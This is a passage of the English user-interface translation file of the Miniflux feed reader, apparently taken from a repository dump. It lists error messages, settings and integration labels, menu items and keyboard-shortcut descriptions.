\"error.http_not_authorized\": \"Access to this website is not authorized. It could be a bad username or password.\",\n    \"error.http_resource_not_found\": \"The requested resource is not found. Please, verify the URL.\",\n    \"error.http_response_too_large\": \"The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).\",\n    \"error.http_service_unavailable\": \"The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.\",\n    \"error.http_too_many_requests\": \"Miniflux generated too many requests to this website. Please, try again later or change the application configuration.\",\n    \"error.http_unexpected_status_code\": \"The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.\",\n    \"error.invalid_categories_sorting_order\": \"Invalid categories sorting order.\",\n    \"error.invalid_default_home_page\": \"Invalid default homepage!\",\n    \"error.invalid_display_mode\": \"Invalid web app display mode.\",\n    \"error.invalid_entry_direction\": \"Invalid entry direction.\",\n    \"error.invalid_entry_order\": \"Invalid entry order.\",\n    \"error.invalid_feed_proxy_url\": \"Invalid proxy URL.\",\n    \"error.invalid_feed_url\": \"Invalid feed URL.\",\n    \"error.invalid_gesture_nav\": \"Invalid gesture navigation.\",\n    \"error.invalid_language\": \"Invalid language.\",\n    \"error.invalid_site_url\": \"Invalid site URL.\",\n    \"error.invalid_theme\": \"Invalid theme.\",\n    \"error.invalid_timezone\": \"Invalid timezone.\",\n    \"error.network_operation\": \"Miniflux is not able to reach this website due to a network error: %v.\",\n    \"error.network_timeout\": \"This website is too slow and the request timed out: %v\",\n    \"error.password_min_length\": \"The password must have at least 6 characters.\",\n    \"error.proxy_url_not_empty\": \"The proxy URL cannot be empty.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Invalid Block rule: rule #%d is missing a valid field name (Options: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Invalid Block rule: rule #%d's pattern is not a valid regex\",\n    \"error.settings_block_rule_regex_required\": \"Invalid Block rule: rule #%d's pattern is not provided\",\n    \"error.settings_block_rule_separator_required\": \"Invalid Block rule: rule #%d's pattern is required to be seperated by a '='\",\n    \"error.settings_invalid_domain_list\": \"Invalid domain list. Please provide a space separated list of domains.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Invalid Keep rule: rule #%d's pattern is not a valid regex\",\n    \"error.settings_keep_rule_regex_required\": \"Invalid Keep rule: rule #%d pattern is not provided\",\n    \"error.settings_keep_rule_separator_required\": \"Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='\",\n    \"error.settings_mandatory_fields\": \"The username, theme, language and timezone fields are mandatory.\",\n    \"error.settings_media_playback_rate_range\": \"Playback speed is out of range\",\n    \"error.settings_reading_speed_is_positive\": \"The reading speeds must be positive integers.\",\n    \"error.site_url_not_empty\": \"The site URL cannot be empty.\",\n    \"error.subscription_not_found\": \"Unable to find any feed.\",\n    \"error.title_required\": \"The title is mandatory.\",\n    \"error.tls_error\": \"TLS error: %q. You could disable TLS verification in the feed settings if you would like.\",\n    \"error.unable_to_create_api_key\": \"Unable to create this API Key.\",\n    \"error.unable_to_create_category\": \"Unable to create this category.\",\n    \"error.unable_to_create_user\": \"Unable to create this user.\",\n    \"error.unable_to_detect_rssbridge\": \"Unable to detect feed using RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Unable to parse this feed: %v.\",\n    \"error.unable_to_update_category\": \"Unable to update this category.\",\n    \"error.unable_to_update_feed\": \"Unable to update this feed.\",\n    \"error.unable_to_update_user\": \"Unable to update this user.\",\n    \"error.unlink_account_without_password\": \"You must define a password otherwise you won’t be able to login again.\",\n    \"error.user_already_exists\": \"This user already exists.\",\n    \"error.user_mandatory_fields\": \"The username is mandatory.\",\n    \"form.api_key.label.description\": \"API Key Label\",\n    \"form.category.hide_globally\": \"Hide entries in global unread list\",\n    \"form.category.label.title\": \"Title\",\n    \"form.feed.fieldset.general\": \"General\",\n    \"form.feed.fieldset.integration\": \"Third-Party Services\",\n    \"form.feed.fieldset.network_settings\": \"Network Settings\",\n    \"form.feed.fieldset.rules\": \"Rules\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Allow self-signed or invalid certificates\",\n    \"form.feed.label.apprise_service_urls\": \"Comma separated list of Apprise service URLs\",\n    \"form.feed.label.block_filter_entry_rules\": \"Entry Blocking Rules\",\n    \"form.feed.label.blocklist_rules\": \"Regex-Based Blocking Filters\",\n    \"form.feed.label.category\": \"Category\",\n    \"form.feed.label.cookie\": \"Set Cookies\",\n    \"form.feed.label.crawler\": \"Fetch original content\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Description\",\n    \"form.feed.label.disable_http2\": \"Disable HTTP/2 to avoid fingerprinting\",\n    \"form.feed.label.disabled\": \"Do not refresh this feed\",\n    \"form.feed.label.feed_password\": \"Feed Password\",\n    \"form.feed.label.feed_url\": \"Feed URL\",\n    \"form.feed.label.feed_username\": \"Feed Username\",\n    \"form.feed.label.fetch_via_proxy\": \"Use the proxy configured at the application level\",\n    \"form.feed.label.hide_globally\": \"Hide entries in global unread list\",\n    \"form.feed.label.ignore_http_cache\": \"Ignore HTTP cache\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Entry Allow Rules\",\n    \"form.feed.label.keeplist_rules\": \"Regex-Based Keep Filters\",\n    \"form.feed.label.no_media_player\": \"No media player (audio/video)\",\n    \"form.feed.label.ntfy_activate\": \"Push entries to ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Ntfy default priority\",\n    \"form.feed.label.ntfy_high_priority\": \"Ntfy high priority\",\n    \"form.feed.label.ntfy_low_priority\": \"Ntfy low priority\",\n    \"form.feed.label.ntfy_max_priority\": \"Ntfy max priority\",\n    \"form.feed.label.ntfy_min_priority\": \"Ntfy min priority\",\n    \"form.feed.label.ntfy_priority\": \"Ntfy priority\",\n    \"form.feed.label.ntfy_topic\": \"Ntfy topic (optional)\",\n    \"form.feed.label.proxy_url\": \"Proxy URL\",\n    \"form.feed.label.pushover_activate\": \"Push entries to Pushover\",\n    \"form.feed.label.pushover_default_priority\": \"Default priority\",\n    \"form.feed.label.pushover_high_priority\": \"High priority\",\n    \"form.feed.label.pushover_low_priority\": \"Low priority\",\n    \"form.feed.label.pushover_max_priority\": \"Max priority\",\n    \"form.feed.label.pushover_min_priority\": \"Minimal priority\",\n    \"form.feed.label.pushover_priority\": \"Pushover message priority\",\n    \"form.feed.label.rewrite_rules\": \"Content Rewrite Rules\",\n    \"form.feed.label.scraper_rules\": \"Scraper Rules\",\n    \"form.feed.label.site_url\": \"Site URL\",\n    \"form.feed.label.title\": \"Title\",\n    \"form.feed.label.urlrewrite_rules\": \"URL Rewrite Rules\",\n    \"form.feed.label.user_agent\": \"Override Default User Agent\",\n    \"form.feed.label.webhook_url\": \"Override webhook url\",\n    \"form.import.label.file\": \"OPML file\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Push entries to archive.org\",\n    \"form.integration.apprise_activate\": \"Push entries to Apprise\",\n    \"form.integration.apprise_services_url\": \"Comma separated list of Apprise service URLs\",\n    \"form.integration.apprise_url\": \"Apprise API URL\",\n    \"form.integration.betula_activate\": \"Save entries to Betula\",\n    \"form.integration.betula_token\": \"Betula Token\",\n    \"form.integration.betula_url\": \"Betula server URL\",\n    \"form.integration.cubox_activate\": \"Save entries to Cubox\",\n    \"form.integration.cubox_api_link\": \"Cubox API link\",\n    \"form.integration.discord_activate\": \"Push entries to Discord\",\n    \"form.integration.discord_webhook_link\": \"Discord Webhook link\",\n    \"form.integration.espial_activate\": \"Save entries to Espial\",\n    \"form.integration.espial_api_key\": \"Espial API key\",\n    \"form.integration.espial_endpoint\": \"Espial API Endpoint\",\n    \"form.integration.espial_tags\": \"Espial Tags\",\n    \"form.integration.fever_activate\": \"Activate Fever API\",\n    \"form.integration.fever_endpoint\": \"Fever API endpoint:\",\n    \"form.integration.fever_password\": \"Fever Password\",\n    \"form.integration.fever_username\": \"Fever Username\",\n    \"form.integration.googlereader_activate\": \"Activate Google Reader API\",\n    \"form.integration.googlereader_endpoint\": \"Google Reader API endpoint:\",\n    \"form.integration.googlereader_password\": \"Google Reader Password\",\n    \"form.integration.googlereader_username\": \"Google Reader Username\",\n    \"form.integration.instapaper_activate\": \"Save entries to Instapaper\",\n    \"form.integration.instapaper_password\": \"Instapaper Password\",\n    \"form.integration.instapaper_username\": \"Instapaper Username\",\n    \"form.integration.karakeep_activate\": \"Save entries to Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Karakeep API key\",\n    \"form.integration.karakeep_url\": \"Karakeep API Endpoint\",\n    \"form.integration.karakeep_tags\": \"Karakeep Tags\",\n    \"form.integration.linkace_activate\": \"Save entries to LinkAce\",\n    \"form.integration.linkace_api_key\": \"LinkAce API key\",\n    \"form.integration.linkace_check_disabled\": \"Disable link check\",\n    \"form.integration.linkace_endpoint\": \"LinkAce API Endpoint\",\n    \"form.integration.linkace_is_private\": \"Mark link as private\",\n    \"form.integration.linkace_tags\": \"LinkAce Tags\",\n    \"form.integration.linkding_activate\": \"Save entries to Linkding\",\n    \"form.integration.linkding_api_key\": \"Linkding API key\",\n    \"form.integration.linkding_bookmark\": \"Mark bookmark as unread\",\n    \"form.integration.linkding_endpoint\": \"Linkding API Endpoint\",\n    \"form.integration.linkding_tags\": \"Linkding Tags\",\n    \"form.integration.linktaco_activate\": \"Save entries to LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API Token\",\n    \"form.integration.linktaco_api_token_hint\": \"Get your personal access token at\",\n    \"form.integration.linktaco_org_slug\": \"Organization Slug\",\n    \"form.integration.linktaco_tags\": \"Tags (max 10, comma-separated)\",\n    \"form.integration.linktaco_tags_hint\": \"Maximum 10 tags, comma-separated\",\n    \"form.integration.linktaco_visibility\": \"Visibility\",\n    \"form.integration.linktaco_visibility_public\": \"Public\",\n    \"form.integration.linktaco_visibility_private\": \"Private\",\n    \"form.integration.linktaco_visibility_hint\": \"PRIVATE visibility requires a paid LinkTaco account\",\n    \"form.integration.linkwarden_activate\": \"Save entries to Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Linkwarden API key\",\n    \"form.integration.linkwarden_endpoint\": \"Linkwarden Base URL\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden Collection ID\",\n    \"form.integration.matrix_bot_activate\": \"Push new entries to Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"ID of Matrix Room\",\n    \"form.integration.matrix_bot_password\": \"Password for Matrix user\",\n    \"form.integration.matrix_bot_url\": \"Matrix server URL\",\n    \"form.integration.matrix_bot_user\": \"Username for Matrix\",\n    \"form.integration.notion_activate\": \"Save entries to Notion\",\n    \"form.integration.notion_page_id\": \"Notion Page ID\",\n    \"form.integration.notion_token\": \"Notion Secret Token\",\n    \"form.integration.ntfy_activate\": \"Push entries to ntfy\",\n    \"form.integration.ntfy_api_token\": \"Ntfy API Token (optional)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy Icon URL (optional)\",\n    \"form.integration.ntfy_internal_links\": \"Use internal links on click (optional)\",\n    \"form.integration.ntfy_password\": \"Ntfy Password (optional)\",\n    \"form.integration.ntfy_topic\": \"Ntfy topic (default used if not set in feed)\",\n    \"form.integration.ntfy_url\": \"Ntfy URL (optional, default is ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Ntfy Username (optional)\",\n    \"form.integration.nunux_keeper_activate\": \"Save entries to Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Nunux Keeper API key\",\n    \"form.integration.nunux_keeper_endpoint\": \"Nunux Keeper API Endpoint\",\n    \"form.integration.omnivore_activate\": \"Save entries to Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Omnivore API key\",\n    \"form.integration.omnivore_url\": \"Omnivore API Endpoint\",\n    \"form.integration.pinboard_activate\": \"Save entries to Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Mark bookmark as unread\",\n    \"form.integration.pinboard_tags\": \"Pinboard Tags\",\n    \"form.integration.pinboard_token\": \"Pinboard API Token\",\n    \"form.integration.pushover_activate\": \"Push entries to Pushover\",\n    \"form.integration.pushover_device\": \"Pushover device (optional)\",\n    \"form.integration.pushover_prefix\": \"Pushover URL prefix (optional)\",\n    \"form.integration.pushover_token\": \"Pushover application API token\",\n    \"form.integration.pushover_user\": \"Pushover user key\",\n    \"form.integration.raindrop_activate\": \"Save entries to Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"Collection ID\",\n    \"form.integration.raindrop_tags\": \"Tags (comma-separated)\",\n    \"form.integration.raindrop_token\": \"(Test) Token\",\n    \"form.integration.readeck_activate\": \"Save entries to readeck\",\n    \"form.integration.readeck_api_key\": \"Readeck API key\",\n    \"form.integration.readeck_endpoint\": \"Readeck URL\",\n    \"form.integration.readeck_labels\": \"Readeck Labels\",\n    \"form.integration.readeck_only_url\": \"Send only URL (instead of full content)\",\n    \"form.integration.readeck_push_activate\": \"Automatically push new entries to Readeck\",\n    \"form.integration.readwise_activate\": \"Save entries to Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Readwise Reader Access Token\",\n    \"form.integration.readwise_api_key_link\": \"Get your Readwise Access Token\",\n    \"form.integration.rssbridge_activate\": \"Check RSS-Bridge when adding subscriptions\",\n    \"form.integration.rssbridge_token\": \"RSS-Bridge authentication token\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge server URL\",\n    \"form.integration.shaarli_activate\": \"Save articles to Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli API Secret\",\n    \"form.integration.shaarli_endpoint\": \"Shaarli URL\",\n    \"form.integration.shiori_activate\": \"Save articles to Shiori\",\n    \"form.integration.shiori_endpoint\": \"Shiori API Endpoint\",\n    \"form.integration.shiori_password\": \"Shiori Password\",\n    \"form.integration.shiori_username\": \"Shiori Username\",\n    \"form.integration.slack_activate\": \"Push entries to Slack\",\n    \"form.integration.slack_webhook_link\": \"Slack Webhook link\",\n    \"form.integration.telegram_bot_activate\": \"Push new entries to Telegram chat\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Disable buttons\",\n    \"form.integration.telegram_bot_disable_notification\": \"Disable notification\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Disable web page preview\",\n    \"form.integration.telegram_bot_token\": \"Bot token\",\n    \"form.integration.telegram_chat_id\": \"Chat ID\",\n    \"form.integration.telegram_topic_id\": \"Topic ID\",\n    \"form.integration.wallabag_activate\": \"Save entries to Wallabag\",\n    \"form.integration.wallabag_client_id\": \"Wallabag Client ID\",\n    \"form.integration.wallabag_client_secret\": \"Wallabag Client Secret\",\n    \"form.integration.wallabag_endpoint\": \"Wallabag Base URL\",\n    \"form.integration.wallabag_only_url\": \"Send only URL (instead of full content)\",\n    \"form.integration.wallabag_password\": \"Wallabag Password\",\n    \"form.integration.wallabag_username\": \"Wallabag Username\",\n    \"form.integration.wallabag_tags\": \"Wallabag Tags\",\n    \"form.integration.webhook_activate\": \"Enable Webhooks\",\n    \"form.integration.webhook_secret\": \"Webhooks Secret\",\n    \"form.integration.webhook_url\": \"Default Webhook URL\",\n    \"form.prefs.fieldset.application_settings\": \"Application Settings\",\n    \"form.prefs.fieldset.authentication_settings\": \"Authentication Settings\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Global Feed Settings\",\n    \"form.prefs.fieldset.reader_settings\": \"Reader Settings\",\n    \"form.prefs.help.external_font_hosts\": \"Space separated list of external font hosts to allow. For example: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"Read articles by opening external links\",\n    \"form.prefs.label.categories_sorting_order\": \"Categories sorting\",\n    \"form.prefs.label.cjk_reading_speed\": \"Reading speed for Chinese, Korean and Japanese (characters per minute)\",\n    \"form.prefs.label.custom_css\": \"Custom CSS\",\n    \"form.prefs.label.custom_js\": \"Custom JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Default home page\",\n    \"form.prefs.label.default_reading_speed\": \"Reading speed for other languages (words per minute)\",\n    \"form.prefs.label.display_mode\": \"Progressive Web App (PWA) display mode\",\n    \"form.prefs.label.entries_per_page\": \"Entries per page\",\n    \"form.prefs.label.entry_order\": \"Entry sorting column\",\n    \"form.prefs.label.entry_sorting\": \"Entry sorting\",\n    \"form.prefs.label.entry_swipe\": \"Enable entry swipe on touch screens\",\n    \"form.prefs.label.external_font_hosts\": \"External font hosts\",\n    \"form.prefs.label.gesture_nav\": \"Gesture to navigate between entries\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Enable keyboard shortcuts\",\n    \"form.prefs.label.language\": \"Language\",\n    \"form.prefs.label.mark_read_manually\": \"Mark entries as read manually\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Only mark as read when audio/video playback reaches 90%% completion\",\n    \"form.prefs.label.mark_read_on_view\": \"Automatically mark entries as read when viewed\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Mark entries as read when viewed. For audio/video, mark as read at 90%% completion\",\n    \"form.prefs.label.media_playback_rate\": \"Playback speed of the audio/video\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Open external links in a new tab (adds target=\\\"_blank\\\" to links)\",\n    \"form.prefs.label.show_reading_time\": \"Show estimated reading time for entries\",\n    \"form.prefs.label.theme\": \"Theme\",\n    \"form.prefs.label.timezone\": \"Timezone\",\n    \"form.prefs.select.alphabetical\": \"Alphabetical\",\n    \"form.prefs.select.browser\": \"Browser\",\n    \"form.prefs.select.created_time\": \"Entry created time\",\n    \"form.prefs.select.fullscreen\": \"Fullscreen\",\n    \"form.prefs.select.minimal_ui\": \"Minimal\",\n    \"form.prefs.select.none\": \"None\",\n    \"form.prefs.select.older_first\": \"Older entries first\",\n    \"form.prefs.select.publish_time\": \"Entry published time\",\n    \"form.prefs.select.recent_first\": \"Recent entries first\",\n    \"form.prefs.select.standalone\": \"Standalone\",\n    \"form.prefs.select.swipe\": \"Swipe\",\n    \"form.prefs.select.tap\": \"Double tap\",\n    \"form.prefs.select.unread_count\": \"Unread count\",\n    \"form.submit.loading\": \"Loading…\",\n    \"form.submit.saving\": \"Saving…\",\n    \"form.user.label.admin\": \"Administrator\",\n    \"form.user.label.confirmation\": \"Password Confirmation\",\n    \"form.user.label.password\": \"Password\",\n    \"form.user.label.username\": \"Username\",\n    \"menu.about\": \"About\",\n    \"menu.add_feed\": \"Add feed\",\n    \"menu.add_user\": \"Add user\",\n    \"menu.api_keys\": \"API Keys\",\n    \"menu.categories\": \"Categories\",\n    \"menu.create_api_key\": \"Create a new API key\",\n    \"menu.create_category\": \"Create a category\",\n    \"menu.edit_category\": \"Edit\",\n    \"menu.edit_feed\": \"Edit\",\n    \"menu.export\": \"Export\",\n    \"menu.feed_entries\": \"Entries\",\n    \"menu.feeds\": \"Feeds\",\n    \"menu.flush_history\": \"Flush history\",\n    \"menu.history\": \"History\",\n    \"menu.home_page\": \"Home page\",\n    \"menu.import\": \"Import\",\n    \"menu.integrations\": \"Integrations\",\n    \"menu.logout\": \"Logout\",\n    \"menu.mark_all_as_read\": \"Mark all as read\",\n    \"menu.mark_page_as_read\": \"Mark this page as read\",\n    \"menu.preferences\": \"Preferences\",\n    \"menu.refresh_all_feeds\": \"Refresh all feeds in the background\",\n    \"menu.refresh_feed\": \"Refresh\",\n    \"menu.search\": \"Search\",\n    \"menu.sessions\": \"Sessions\",\n    \"menu.settings\": \"Settings\",\n    \"menu.shared_entries\": \"Shared entries\",\n    \"menu.show_all_entries\": \"Show all entries\",\n    \"menu.show_only_starred_entries\": \"Show only starred entries\",\n    \"menu.show_only_unread_entries\": \"Show only unread entries\",\n    \"menu.starred\": \"Starred\",\n    \"menu.title\": \"Menu\",\n    \"menu.unread\": \"Unread\",\n    \"menu.users\": \"Users\",\n    \"page.about.author\": \"Author:\",\n    \"page.about.build_date\": \"Build Date:\",\n    \"page.about.credits\": \"Credits\",\n    \"page.about.db_usage\": \"Database size:\",\n    \"page.about.git_commit\": \"Git Commit:\",\n    \"page.about.global_config_options\": \"Global configuration options\",\n    \"page.about.go_version\": \"Go version:\",\n    \"page.about.license\": \"License:\",\n    \"page.about.postgres_version\": \"Postgres version:\",\n    \"page.about.title\": \"About\",\n    \"page.about.version\": \"Version:\",\n    \"page.add_feed.choose_feed\": \"Choose a feed\",\n    \"page.add_feed.label.url\": \"URL\",\n    \"page.add_feed.legend.advanced_options\": \"Advanced Options\",\n    \"page.add_feed.no_category\": \"There is no category. You must have at least one category.\",\n    \"page.add_feed.submit\": \"Find a feed\",\n    \"page.add_feed.title\": \"New feed\",\n    \"page.api_keys.never_used\": \"Never Used\",\n    \"page.api_keys.table.actions\": \"Actions\",\n    \"page.api_keys.table.created_at\": \"Creation Date\",\n    \"page.api_keys.table.description\": \"Description\",\n    \"page.api_keys.table.last_used_at\": \"Last Used\",\n    \"page.api_keys.table.token\": \"Token\",\n    \"page.api_keys.title\": \"API Keys\",\n    \"page.categories.entries\": \"Entries\",\n    \"page.categories.feed_count\": [\n        \"There is %d feed.\",\n        \"There are %d feeds.\"\n    ],\n    \"page.categories.feeds\": \"Feeds\",\n    \"page.categories.no_feed\": \"No feed.\",\n    \"page.categories.title\": \"Categories\",\n    \"page.categories_count\": [\n        \"%d category\",\n        \"%d categories\"\n    ],\n    \"page.category_label\": \"Category: %s\",\n    \"page.edit_category.title\": \"Edit Category: %s\",\n    \"page.edit_feed.etag_header\": \"ETag header:\",\n    \"page.edit_feed.last_check\": \"Last check:\",\n    \"page.edit_feed.last_modified_header\": \"LastModified header:\",\n    \"page.edit_feed.last_parsing_error\": \"Last Parsing Error\",\n    \"page.edit_feed.no_header\": \"None\",\n    \"page.edit_feed.title\": \"Edit Feed: %s\",\n    \"page.edit_user.title\": \"Edit User: %s\",\n    \"page.entry.attachments\": \"Attachments\",\n    \"page.feeds.error_count\": [\n        \"%d error\",\n        \"%d errors\"\n    ],\n    \"page.feeds.last_check\": \"Last check:\",\n    \"page.feeds.next_check\": \"Next check:\",\n    \"page.feeds.read_counter\": \"Number of read entries\",\n    \"page.feeds.title\": \"Feeds\",\n    \"page.footer.elevator\": \"Back to top\",\n    \"page.history.title\": \"History\",\n    \"page.import.title\": \"Import\",\n    \"page.integration.bookmarklet\": \"Bookmarklet\",\n    \"page.integration.bookmarklet.help\": \"This special link allows you to subscribe to a website directly by using a bookmark in your web browser.\",\n    \"page.integration.bookmarklet.instructions\": \"Drag and drop this link to your bookmarks.\",\n    \"page.integration.bookmarklet.name\": \"Add to Miniflux\",\n    \"page.integration.miniflux_api\": \"Miniflux API\",\n    \"page.integration.miniflux_api_endpoint\": \"API Endpoint\",\n    \"page.integration.miniflux_api_password\": \"Password\",\n    \"page.integration.miniflux_api_password_value\": \"Your account password\",\n    \"page.integration.miniflux_api_username\": \"Username\",\n    \"page.integrations.title\": \"Integrations\",\n    \"page.keyboard_shortcuts.close_modal\": \"Close modal dialog\",\n    \"page.keyboard_shortcuts.download_content\": \"Download original content\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Go to bottom item\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Go to categories\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Go to feed\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Go to feeds\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Go to history\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Go to next item\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Go to next page\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Go to previous item\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Go to previous page\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Set focus on search form\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Go to settings\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Go to starred\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Go to top item\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Go to unread\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Mark current page as read\",\n    \"page.keyboard_shortcuts.open_comments\": \"Open comments link\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Open comments link in current tab\",\n    \"page.keyboard_shortcuts.open_item\": \"Open selected item\",\n    \"page.keyboard_shortcuts.open_original\": \"Open original link\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Open original link in current tab\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Refresh all feeds in the background\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Remove this feed\",\n    \"page.keyboard_shortcuts.save_article\": \"Save entry\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Scroll item to top\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Show keyboard shortcuts\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Actions\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Items Navigation\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Pages Navigation\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Sections Navigation\",\n    \"page.keyboard_shortcuts.title\": \"Keyboard Shortcuts\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Toggle starred\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Toggle open/close entry attachments\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Toggle read/unread, focus next\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Toggle read/unread, focus previous\",\n    \"page.login.google_signin\": \"Sign in with Google\",\n    \"page.login.oidc_signin\": \"Sign in with %s\",\n    \"page.login.title\": \"Sign In\",\n    \"page.login.webauthn_login\": \"Login with passkey\",\n    \"page.login.webauthn_login.error\": \"Unable to login with passkey\",\n    \"page.login.webauthn_login.help\": \"Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).\",\n    \"page.new_api_key.title\": \"New API Key\",\n    \"page.new_category.title\": \"New Category\",\n    \"page.new_user.title\": \"New User\",\n    \"page.offline.message\": \"You are offline\",\n    \"page.offline.refresh_page\": \"Try to refresh the page\",\n    \"page.offline.title\": \"Offline Mode\",\n    \"page.read_entry_count\": [\n        \"%d read entry\",\n        \"%d read entries\"\n    ],\n    \"page.search.title\": \"Search Results\",\n    \"page.sessions.table.actions\": \"Actions\",\n    \"page.sessions.table.current_session\": \"Current Session\",\n    \"page.sessions.table.date\": \"Date\",\n    \"page.sessions.table.ip\": \"IP Address\",\n    \"page.sessions.table.user_agent\": \"User Agent\",\n    \"page.sessions.title\": \"Sessions\",\n    \"page.settings.link_google_account\": \"Link my Google account\",\n    \"page.settings.link_oidc_account\": \"Link my %s account\",\n    \"page.settings.title\": \"Settings\",\n    \"page.settings.unlink_google_account\": \"Unlink my Google account\",\n    \"page.settings.unlink_oidc_account\": \"Unlink my %s account\",\n    \"page.settings.webauthn.actions\": \"Actions\",\n    \"page.settings.webauthn.added_on\": \"Added On\",\n    \"page.settings.webauthn.delete\": [\n        \"Remove %d passkey\",\n        \"Remove %d passkeys\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Last Used\",\n    \"page.settings.webauthn.passkey_name\": \"Passkey Name\",\n    \"page.settings.webauthn.passkeys\": \"Passkeys\",\n    \"page.settings.webauthn.register\": \"Register passkey\",\n    \"page.settings.webauthn.register.error\": \"Unable to register passkey\",\n    \"page.shared_entries.title\": \"Shared entries\",\n    \"page.shared_entries_count\": [\n        \"%d shared entry\",\n        \"%d shared entries\"\n    ],\n    \"page.starred.title\": \"Starred\",\n    \"page.starred_entry_count\": [\n        \"%d starred entry\",\n        \"%d starred entries\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d entry in total\",\n        \"%d entries in total\"\n    ],\n    \"page.unread.title\": \"Unread\",\n    \"page.unread_entry_count\": [\n        \"%d unread entry\",\n        \"%d unread entries\"\n    ],\n    \"page.users.actions\": \"Actions\",\n    \"page.users.admin.no\": \"No\",\n    \"page.users.admin.yes\": \"Yes\",\n    \"page.users.is_admin\": \"Administrator\",\n    \"page.users.last_login\": \"Last Login\",\n    \"page.users.never_logged\": \"Never\",\n    \"page.users.title\": \"Users\",\n    \"page.users.username\": \"Username\",\n    \"page.webauthn_rename.title\": \"Rename Passkey\",\n    \"pagination.first\": \"First\",\n    \"pagination.last\": \"Last\",\n    \"pagination.next\": \"Next\",\n    \"pagination.previous\": \"Previous\",\n    \"search.label\": \"Search\",\n    \"search.placeholder\": \"Search…\",\n    \"search.submit\": \"Search\",\n    \"skip_to_content\": \"Skip to content\",\n    \"time_elapsed.days\": [\n        \"%d day ago\",\n        \"%d days ago\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d hour ago\",\n        \"%d hours ago\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d minute ago\",\n        \"%d minutes ago\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d month ago\",\n        \"%d months ago\"\n    ],\n    \"time_elapsed.not_yet\": \"not yet\",\n    \"time_elapsed.now\": \"just now\",\n    \"time_elapsed.weeks\": [\n        \"%d week ago\",\n        \"%d weeks ago\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d year ago\",\n        \"%d years ago\"\n    ],\n    \"time_elapsed.yesterday\": \"yesterday\",\n    \"tooltip.keyboard_shortcuts\": \"Keyboard Shortcut: %s\",\n    \"tooltip.logged_user\": \"Logged in as %s\"\n}"
  },
  {
    "path": "internal/locale/translations/es_ES.json",
